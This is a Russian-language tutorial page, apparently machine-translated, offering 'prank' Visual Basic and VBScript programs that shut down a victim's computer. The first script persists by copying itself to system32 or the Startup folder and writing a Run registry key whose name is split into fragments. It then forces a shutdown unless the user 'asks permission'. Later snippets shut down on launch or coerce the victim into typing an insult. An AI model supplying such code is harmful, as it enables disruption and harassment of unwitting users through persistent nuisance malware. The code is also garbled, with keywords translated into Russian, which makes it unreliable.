Апплет подделки выключения VB

Первый апплет подделки выключения VB:

 Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) стр ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Затем вызовите Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All Пользователи/Меню Пуск/Программы/Запуск/wxb.vbs")) Затем вызовите Show_And_Do("Startup")else При ошибке Возобновить Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ" "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox («Предупреждение: пожалуйста, не прикасайтесь к моему компьютеру!» & Chr(13) & Chr(10) & «Подтвердить -> в следующий раз я сначала попрошу разрешения» & Chr(10) & «Отмена -> Мне все равно, как вам это понравится!», 4145, «Пример MsgBox») Если r = 1 Тогда если s= "Запуск", затем установите f = fs.GetFile("C:/Documents and Settings/All Users/Start Меню/Программы/Запуск/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run «Shutdown.exe -s -f -t 0»Завершить подпрограмму Ifend

Вышеописанное немного сложное, поэтому давайте сделаем немного проще.

Код выглядит следующим образом:

 Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Объявить функцию ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Позвонить ExitWindowsEx(EWX_SHUTDOWN, 0)Завершить подписку

Когда вы можете использовать более простой способ написания

Просто введите следующий код:

 Private Sub Form_Load()Shell "cmd /c Shutdown -s -t 30"Rem Значение -t 0 после него означает завершение работы через 0 секунд. Если -t 0 удалено, по умолчанию используется завершение работы через 30 секунд.

Способ третий:

 Private Sub Command1_Click()If Text1 = "Я свинья" thenShell "cmd.exe /c Shutdown -a"MsgBox "Ха-ха, отпусти тебя!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Ха-ха, ты Если вас обманули, скажите, пожалуйста, что вы свинья, иначе ваш компьютер выключится через 1 минуту.", 48, "Подсказка "Shell" cmd.exe /c Shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Хотите закрыть меня???", vbOKCancel + vbQuestion, "Закрыть окно")If g = vbOK thenCancel = 11MsgBox "Ха-ха, можно ты закроешь его? Брось меня и назови свиньей", 64, "Подсказка"End IfIf g = 2 thenCancel = 11End IfEnd Саб